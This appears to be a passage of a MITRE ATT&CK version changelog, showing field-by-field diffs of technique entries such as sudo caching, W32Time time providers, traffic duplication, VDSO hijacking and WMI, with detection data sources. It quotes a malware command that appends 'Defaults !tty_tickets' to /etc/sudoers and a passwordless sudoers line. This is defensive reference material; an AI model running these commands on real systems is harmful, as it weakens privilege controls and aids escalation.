| de> (Citation: OSX.Dok Malware). Elevated privileges are req | | de>.(Citation: OSX.Dok Malware) Elevated privileges are requ |
| uired to edit this file though. Adversaries can also abuse | | ired to edit this file though. Adversaries can also abuse p |
| poor configurations of these mechanisms to escalate privileg | | oor configurations of these mechanisms to escalate privilege |
| es without needing the user's password. For example, <code>/ | | s without needing the user's password. For example, <code>/v |
| var/db/sudo</code>'s timestamp can be monitored to see if it | | ar/db/sudo</code>'s timestamp can be monitored to see if it |
| falls within the <code>timestamp_timeout</code> range. If i | | falls within the <code>timestamp_timeout</code> range. If it |
| t does, then malware can execute sudo commands without needi | | does, then malware can execute sudo commands without needin |
| ng to supply the user's password. Additional, if <code>tty_t | | g to supply the user's password. Additional, if <code>tty_ti |
| ickets</code> is disabled, adversaries can do this from any | | ckets</code> is disabled, adversaries can do this from any t |
| tty for that user. In the wild, malware has disabled <code> | | ty for that user. In the wild, malware has disabled <code>t |
| tty_tickets</code> to potentially make scripting easier by i | | ty_tickets</code> to potentially make scripting easier by is |
| ssuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers< | | suing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</ |
| /code> (Citation: cybereason osx proton). In order for this | | code>.(Citation: cybereason osx proton) In order for this ch |
| change to be reflected, the malware also issued <code>killal | | ange to be reflected, the malware also issued <code>killall |
| l Terminal</code>. As of macOS Sierra, the sudoers file has | | Terminal</code>. As of macOS Sierra, the sudoers file has <c |
| <code>tty_tickets</code> enabled by default. | | ode>tty_tickets</code> enabled by default. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-27 01:03:26.306000+00:00 | 2022-03-14 16:28:19.781000+00:00 |
| description | Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.
Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.
In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default. | Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).
The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.
Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.
In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default. |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | File: File Modification |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | File: File Modification | |
[T1033] System Owner/User Discovery
Current version: 1.3
New Detections:
- DS0009: Process (OS API Execution)
- DS0009: Process (Process Access)
- DS0022: File (File Access)
- DS0024: Windows Registry (Windows Registry Key Access)
- DS0026: Active Directory (Active Directory Object Access)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-12 13:34:34.153000+00:00 | 2022-04-20 19:04:03.271000+00:00 |
| x_mitre_data_sources[6] | Command: Command Execution | Windows Registry: Windows Registry Key Access |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Active Directory: Active Directory Object Access |
| x_mitre_data_sources | | Network Traffic: Network Traffic Content |
| x_mitre_data_sources | | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources | | File: File Access |
| x_mitre_data_sources | | Command: Command Execution |
| x_mitre_data_sources | | Process: OS API Execution |
| x_mitre_data_sources | | Process: Process Access |
[T1547.003] Boot or Logon Autostart Execution: Time Providers
Current version: 1.0
|
|
|---|
| t | Adversaries may abuse time providers to execute DLLs when th | t | Adversaries may abuse time providers to execute DLLs when th |
| e system boots. The Windows Time service (W32Time) enables t | | e system boots. The Windows Time service (W32Time) enables t |
| ime synchronization across and within domains. (Citation: Mi | | ime synchronization across and within domains.(Citation: Mic |
| crosoft W32Time Feb 2018) W32Time time providers are respons | | rosoft W32Time Feb 2018) W32Time time providers are responsi |
| ible for retrieving time stamps from hardware/network resour | | ble for retrieving time stamps from hardware/network resourc |
| ces and outputting these values to other network clients. (C | | es and outputting these values to other network clients.(Cit |
| itation: Microsoft TimeProvider) Time providers are impleme | | ation: Microsoft TimeProvider) Time providers are implement |
| nted as dynamic-link libraries (DLLs) that are registered in | | ed as dynamic-link libraries (DLLs) that are registered in t |
| the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentCont | | he subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentContro |
| rolSet\Services\W32Time\TimeProviders\</code>. (Citation: Mi | | lSet\Services\W32Time\TimeProviders\</code>.(Citation: Micro |
| crosoft TimeProvider) The time provider manager, directed by | | soft TimeProvider) The time provider manager, directed by th |
| the service control manager, loads and starts time provider | | e service control manager, loads and starts time providers l |
| s listed and enabled under this key at system startup and/or | | isted and enabled under this key at system startup and/or wh |
| whenever parameters are changed. (Citation: Microsoft TimeP | | enever parameters are changed.(Citation: Microsoft TimeProvi |
| rovider) Adversaries may abuse this architecture to establi | | der) Adversaries may abuse this architecture to establish p |
| sh persistence, specifically by registering and enabling a m | | ersistence, specifically by registering and enabling a malic |
| alicious DLL as a time provider. Administrator privileges ar | | ious DLL as a time provider. Administrator privileges are re |
| e required for time provider registration, though execution | | quired for time provider registration, though execution will |
| will run in context of the Local Service account. (Citation: | | run in context of the Local Service account.(Citation: Gith |
| Github W32Time Oct 2017) | | ub W32Time Oct 2017) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-25 15:24:26.476000+00:00 | 2022-04-20 16:31:16.715000+00:00 |
| description | Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)
Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017) | Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)
Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017) |
| external_references[1]['source_name'] | Microsoft W32Time Feb 2018 | Github W32Time Oct 2017 |
| external_references[1]['description'] | Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018. | Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018. |
| external_references[1]['url'] | https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top | https://github.com/scottlundgren/w32time |
| external_references[2]['source_name'] | Microsoft TimeProvider | Microsoft W32Time May 2017 |
| external_references[2]['description'] | Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018. | Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018. |
| external_references[2]['url'] | https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx | https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings |
| external_references[3]['source_name'] | Github W32Time Oct 2017 | Microsoft W32Time Feb 2018 |
| external_references[3]['description'] | Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018. | Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018. |
| external_references[3]['url'] | https://github.com/scottlundgren/w32time | https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top |
| external_references[4]['source_name'] | Microsoft W32Time May 2017 | Microsoft TimeProvider |
| external_references[4]['description'] | Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018. | Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018. |
| external_references[4]['url'] | https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings | https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx |
| x_mitre_data_sources[0] | Windows Registry: Windows Registry Key Modification | Command: Command Execution |
| x_mitre_data_sources[1] | Module: Module Load | Process: Process Creation |
| x_mitre_data_sources[2] | Command: Command Execution | Module: Module Load |
| x_mitre_data_sources[3] | Process: Process Creation | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)
The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns) | Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)
The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns) |
[T1020.001] Automated Exfiltration: Traffic Duplication
Current version: 1.1
|
|
|---|
| t | Adversaries may leverage traffic mirroring in order to autom | t | Adversaries may leverage traffic mirroring in order to autom |
| ate data exfiltration over compromised network infrastructur | | ate data exfiltration over compromised network infrastructur |
| e. Traffic mirroring is a native feature for some network d | | e. Traffic mirroring is a native feature for some network d |
| evices and used for network analysis and may be configured t | | evices and used for network analysis and may be configured t |
| o duplicate traffic and forward to one or more destinations | | o duplicate traffic and forward to one or more destinations |
| for analysis by a network analyzer or other monitoring devic | | for analysis by a network analyzer or other monitoring devic |
| e. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Tr | | e. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Tra |
| affic Mirroring) Adversaries may abuse traffic mirroring to | | ffic Mirroring) Adversaries may abuse traffic mirroring to |
| mirror or redirect network traffic through other network in | | mirror or redirect network traffic through other network inf |
| frastructure they control. Malicious modifications to networ | | rastructure they control. Malicious modifications to network |
| k devices to enable traffic redirection may be possible thro | | devices to enable traffic redirection may be possible throu |
| ugh [ROMMONkit](https://attack.mitre.org/techniques/T1542/00 | | gh [ROMMONkit](https://attack.mitre.org/techniques/T1542/004 |
| 4) or [Patch System Image](https://attack.mitre.org/techniqu | | ) or [Patch System Image](https://attack.mitre.org/technique |
| es/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco | | s/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco B |
| Blog Legacy Device Attacks) Adversaries may use traffic dupl | | log Legacy Device Attacks) Adversaries may use traffic dupli |
| ication in conjunction with [Network Sniffing](https://attac | | cation in conjunction with [Network Sniffing](https://attack |
| k.mitre.org/techniques/T1040), [Input Capture](https://attac | | .mitre.org/techniques/T1040), [Input Capture](https://attack |
| k.mitre.org/techniques/T1056), or [Adversary-in-the-Middle]( | | .mitre.org/techniques/T1056), or [Adversary-in-the-Middle](h |
| https://attack.mitre.org/techniques/T1557) depending on the | | ttps://attack.mitre.org/techniques/T1557) depending on the g |
| goals and objectives of the adversary. | | oals and objectives of the adversary. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020. |
| external_references | | CAPEC-117 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
| external_references | CAPEC-117 | |
| external_references | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 15:23:37.640000+00:00 | 2022-04-18 22:16:51.359000+00:00 |
| description | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)
Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. | Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)
Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. |
| external_references[1]['source_name'] | capec | Cisco Traffic Mirroring |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/117.html | https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html |
| external_references[2]['source_name'] | Cisco Traffic Mirroring | Juniper Traffic Mirroring |
| external_references[2]['description'] | Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020. | Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020. |
| external_references[2]['url'] | https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html | https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html |
| external_references[3]['source_name'] | Juniper Traffic Mirroring | Cisco Blog Legacy Device Attacks |
| external_references[3]['description'] | Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020. | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. |
| external_references[3]['url'] | https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 |
| external_references[5]['source_name'] | Cisco Blog Legacy Device Attacks | capec |
| external_references[5]['url'] | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 | https://capec.mitre.org/data/definitions/117.html |
| x_mitre_data_sources[0] | Network Traffic: Network Connection Creation | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Flow | Network Traffic: Network Connection Creation |
[T1552] Unsecured Credentials
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 18:32:33.620000+00:00 | 2022-04-01 13:11:11.386000+00:00 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Command: Command Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1550] Use Alternate Authentication Material
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 14:15:31.630000+00:00 | 2022-04-01 12:57:34.058000+00:00 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Logon Session: Logon Session Creation |
| x_mitre_platforms | | Containers |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Logon Session: Logon Session Creation | |
[T1055.014] Process Injection: VDSO Hijacking
Current version: 1.0
|
|
|---|
| t | Adversaries may inject malicious code into processes via VDS | t | Adversaries may inject malicious code into processes via VDS |
| O hijacking in order to evade process-based defenses as well | | O hijacking in order to evade process-based defenses as well |
| as possibly elevate privileges. Virtual dynamic shared obje | | as possibly elevate privileges. Virtual dynamic shared obje |
| ct (vdso) hijacking is a method of executing arbitrary code | | ct (vdso) hijacking is a method of executing arbitrary code |
| in the address space of a separate live process. VDSO hija | | in the address space of a separate live process. VDSO hija |
| cking involves redirecting calls to dynamically linked share | | cking involves redirecting calls to dynamically linked share |
| d libraries. Memory protections may prevent writing executab | | d libraries. Memory protections may prevent writing executab |
| le code to a process via [Ptrace System Calls](https://attac | | le code to a process via [Ptrace System Calls](https://attac |
| k.mitre.org/techniques/T1055/008). However, an adversary may | | k.mitre.org/techniques/T1055/008). However, an adversary may |
| hijack the syscall interface code stubs mapped into a proce | | hijack the syscall interface code stubs mapped into a proce |
| ss from the vdso shared object to execute syscalls to open a | | ss from the vdso shared object to execute syscalls to open a |
| nd map a malicious shared object. This code can then be invo | | nd map a malicious shared object. This code can then be invo |
| ked by redirecting the execution flow of the process via pat | | ked by redirecting the execution flow of the process via pat |
| ched memory address references stored in a process' global o | | ched memory address references stored in a process' global o |
| ffset table (which store absolute addresses of mapped librar | | ffset table (which store absolute addresses of mapped librar |
| y functions).(Citation: ELF Injection May 2009) (Citation: B | | y functions).(Citation: ELF Injection May 2009)(Citation: Ba |
| acktrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall | | cktrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 201 |
| 2014) Running code in the context of another process may al | | 4) Running code in the context of another process may allow |
| low access to the process's memory, system/network resources | | access to the process's memory, system/network resources, a |
| , and possibly elevated privileges. Execution via VDSO hijac | | nd possibly elevated privileges. Execution via VDSO hijackin |
| king may also evade detection from security products since t | | g may also evade detection from security products since the |
| he execution is masked under a legitimate process. | | execution is masked under a legitimate process. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 22:28:45.232000+00:00 | 2022-02-24 15:21:39.761000+00:00 |
| description | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.
VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.
VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | Process: OS API Execution | Module: Module Load |
| x_mitre_data_sources[1] | Module: Module Load | Process: OS API Execution |
| x_mitre_detection | Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
[T1047] Windows Management Instrumentation
Current version: 1.2
|
|
|---|
| t | Adversaries may abuse Windows Management Instrumentation (WM | t | Adversaries may abuse Windows Management Instrumentation (WM |
| I) to execute malicious commands and payloads. WMI is an adm | | I) to execute malicious commands and payloads. WMI is an adm |
| inistration feature that provides a uniform environment to a | | inistration feature that provides a uniform environment to a |
| ccess Windows system components. The WMI service enables bot | | ccess Windows system components. The WMI service enables bot |
| h local and remote access, though the latter is facilitated | | h local and remote access, though the latter is facilitated |
| by [Remote Services](https://attack.mitre.org/techniques/T10 | | by [Remote Services](https://attack.mitre.org/techniques/T10 |
| 21) such as [Distributed Component Object Model](https://att | | 21) such as [Distributed Component Object Model](https://att |
| ack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remo | | ack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remo |
| te Management](https://attack.mitre.org/techniques/T1021/006 | | te Management](https://attack.mitre.org/techniques/T1021/006 |
| ) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operate | | ) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates |
| s using port 135, whereas WMI over WinRM operates over port | | using port 135, whereas WMI over WinRM operates over port 5 |
| 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI | | 985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)( |
| ) (Citation: FireEye WMI 2015) An adversary can use WMI to | | Citation: FireEye WMI 2015) An adversary can use WMI to int |
| interact with local and remote systems and use it as a means | | eract with local and remote systems and use it as a means to |
| to execute various behaviors, such as gathering information | | execute various behaviors, such as gathering information fo |
| for Discovery as well as remote Execution of files as part | | r Discovery as well as remote Execution of files as part of |
| of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Cita | | Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citatio |
| tion: FireEye WMI 2015) | | n: FireEye WMI 2015) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 23:58:07.715000+00:00 | 2022-04-20 16:25:21.348000+00:00 |
